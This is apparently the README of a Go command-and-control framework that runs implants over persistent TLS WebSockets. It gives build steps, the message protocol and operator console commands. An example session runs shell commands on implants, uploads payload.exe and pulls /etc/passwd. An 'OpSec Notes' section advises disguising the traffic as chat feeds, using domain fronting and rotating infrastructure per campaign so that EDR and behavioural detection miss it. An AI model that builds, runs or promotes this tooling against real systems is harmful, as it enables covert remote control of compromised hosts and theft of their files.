| .. | ||
| bin | ||
| cmd | ||
| pkg | ||
| go.mod | ||
| go.sum | ||
| README.md | ||
WebSocket Abuse C2
A command & control framework using persistent WebSocket connections instead of HTTP request/response polling. The long-lived connection mimics legitimate applications (chat apps, trading dashboards, sports feeds) — avoiding the beaconing pattern that behavioral detection looks for.
Concept
Traditional C2 implants connect, send/request data, and disconnect. This creates a recognizable beacon pattern: "every 60 seconds, this process connects, sends a POST, gets a 200, and disconnects." Behavioral ML and EDR pick this up easily.
WebSocket Abuse C2 keeps a persistent TLS WebSocket connection open. The traffic looks like a live chat session or data feed — not C2 traffic. There's no periodic connect/disconnect cycle to detect.
Architecture
┌─────────────────────┐ wss:// ┌─────────────────────┐
│ C2 Server │◄───────────────────────►│ Implants │
│ cmd/server/main.go │ TLS WebSocket │ cmd/client/main.go │
│ │ │ │
│ Operator Console │ JSON message frames │ os/exec execution │
│ (interactive TUI) │ {"type":"exec", │ file upload/downld │
│ │ "id":"...", │ configurable beacon│
│ │ "data":"..."} │ auto-reconnect │
└─────────────────────┘ └─────────────────────┘
Message Protocol
All communication uses JSON-encoded frames:
{
"type": "cmd|result|exec|upload|download|ping|pong|heartbeat|register",
"id": "implant-unique-id",
"data": "command string or base64 payload",
"error": "error message (result messages only)"
}
Message Types
| Type | Direction | Purpose |
|---|---|---|
register |
Client→Server | Identify implant on connect |
exec |
Server→Client | Execute a shell command |
upload |
Server→Client | Upload file to implant (base64) |
download |
Server→Client | Request file from implant |
beacon |
Server→Client | Change heartbeat interval |
exit |
Server→Client | Disconnect implant |
result |
Client→Server | Command output or error |
ping |
Server→Client | Keepalive probe |
pong |
Client→Server | Keepalive response |
heartbeat |
Client→Server | Regular alive signal at beacon interval |
cmd |
Server→Client | Generic command (reserved) |
Upload Wire Format
upload commands carry data in "data" as: <remote-path>|<base64-encoded-file-contents>
Download Wire Format
The implant replies with a result where "data" is: <remote-path>|<base64-encoded-file-contents>
Build
# Generate go.sum and verify
go mod tidy
# Build server
go build -o bin/server ./cmd/server
# Build implant
go build -o bin/client ./cmd/client
The only external dependency is github.com/gorilla/websocket. Everything else is Go stdlib.
Server Usage
./bin/server -addr :8443 -cert server.crt -key server.key
If certificate files don't exist, the server generates a self-signed certificate automatically.
Flags
| Flag | Default | Description |
|---|---|---|
-addr |
:8443 |
Listen address (host:port) |
-cert |
server.crt |
TLS certificate file |
-key |
server.key |
TLS private key file |
Operator Console Commands
| Command | Description |
|---|---|
list |
Show all connected implants |
use <id> |
Select an implant by ID |
exec <command> |
Run shell command on selected |
upload <local> <remote> |
Upload file to implant |
download <remote> |
Download file from implant |
beacon <seconds> |
Change implant's beacon interval |
broadcast <command> |
Run command on ALL connected |
exit |
Disconnect selected implant |
help |
Show this help |
Client (Implant) Usage
./bin/client -server wss://192.168.1.100:8443/ws -id my-implant -interval 60
Flags
| Flag | Default | Description |
|---|---|---|
-server |
wss://127.0.0.1:8443/ws |
C2 server WebSocket URL |
-id |
<hostname>-<random> |
Implant identifier |
-interval |
60 |
Heartbeat interval (seconds) |
Auto-Reconnect
The implant uses exponential backoff on disconnect:
- Start: 1 second
- Double each retry (1s → 2s → 4s → 8s → ...)
- Cap: 60 seconds max
- Resets to 1s on successful connection
TLS Certificate Setup
Self-Signed (Quick Start)
The server auto-generates a self-signed certificate on first run. The implant accepts self-signed certs (InsecureSkipVerify: true by default).
Production / Legitimate TLS
# Using Let's Encrypt (certbot)
certbot certonly --standalone -d c2.example.com
cp /etc/letsencrypt/live/c2.example.com/fullchain.pem server.crt
cp /etc/letsencrypt/live/c2.example.com/privkey.pem server.key
# Or generate with OpenSSL
openssl req -newkey rsa:4096 -nodes -keyout server.key -x509 -days 365 -out server.crt
Implant with Valid Certs
Modify cmd/client/main.go:
tlsConfig := &tls.Config{
InsecureSkipVerify: false, // validate server cert
// optionally: RootCAs: caCertPool for custom CA
}
WebSocket vs HTTPS Comparison
| Aspect | HTTPS Polling | WebSocket C2 |
|---|---|---|
| Connection pattern | Connect → Request → Disconnect | Persistent connection |
| Detection surface | Predictable timing/frequency | Continuous stream, no beacon gap |
| Traffic shape | HTTP headers + JSON body | Upgraded WS frames (minimal overhead) |
| Header analysis | Standard HTTP headers visible | Single Upgrade, then raw WS frames |
| Deep packet inspect | POST/GET patterns easy to detect | Looks like聊天 / live data feed |
| Keepalive | N/A | Ping/pong every 30s (WS native) |
| Latency | Poll interval delay | Real-time command delivery |
| Firewall traversal | HTTP/HTTPS ports only | Same (rides HTTPS) |
| Protocol overhead | Higher (HTTP headers per request) | Lower (framed, no headers per msg) |
OpSec Notes
Traffic Disguise
- Use
wss://(WebSocket Secure) — encrypts all traffic, looks like HTTPS - Customize the URL path — rename
/wsto/chat,/live,/stream,/socket,/feed - Fake WebSocket subprotocol — add a subprotocol name during handshake:
conn, _, err := dialer.Dial(serverURL, http.Header{ "Sec-WebSocket-Protocol": []string{"chat"}, }) - Pad messages — add random padding to normalize message sizes
- C2 over 443 — run on port 443 with SNI matching a real-looking hostname
Detection Evasion
- No beacon timing — the connection is persistent, so there's no periodic connect/disconnect
- No HTTP request headers — after the initial upgrade, all frames are pure WebSocket with no HTTP overhead
- TLS by default — no plaintext traffic even on initial handshake
- Ping/pong looks like WS keepalive — every legitimate WS app does this
Operational Security
- Don't hardcode server IPs — use DNS or change on each deployment
- Generate unique implant IDs — never use the same ID twice for different campaigns
- Use domain fronting if possible for covert channel
- Certificate rotation — generate new self-signed certs periodically
- Command output encoding — all responses are base64 for binary files; plaintext for shell output
Example Session
# Terminal 1: Start server
$ ./bin/server
WebSocket C2 server starting on wss://:8443/ws
Self-signed certificate generated (valid for 365 days)
>
# Terminal 2: Start implants
$ ./bin/client -server wss://127.0.0.1:8443/ws -id target-1 -interval 30
$ ./bin/client -server wss://127.0.0.1:8443/ws -id target-2 -interval 60
# Terminal 1: Operator console
> list
────────────────────────────────────────────────────────────────────────────────
# IMPLANT ID IP CONNECTED STATUS
────────────────────────────────────────────────────────────────────────────────
1 target-1 127.0.0.1 2026-05-11T21:59:00Z
2 target-2 127.0.0.1 2026-05-11T21:59:05Z
────────────────────────────────────────────────────────────────────────────────
Total: 2 implant(s)
> use target-1
Selected implant: target-1 (127.0.0.1) connected since 2026-05-11T21:59:00Z
> exec uname -a
Sent exec to target-1: uname -a
[Result from target-1] Linux target-1 6.8.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
> upload ./payload.exe C:\Users\Public\payload.exe
Uploading ./payload.exe → C:\Users\Public\payload.exe on target-1 (12345 bytes)
> download /etc/passwd
Requested download of /etc/passwd from target-1
[Result from target-1] /etc/passwd|cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApk...
> beacon 5
Set beacon interval to 5s on target-1
> broadcast id
Broadcast 'exec id' to 2/2 implants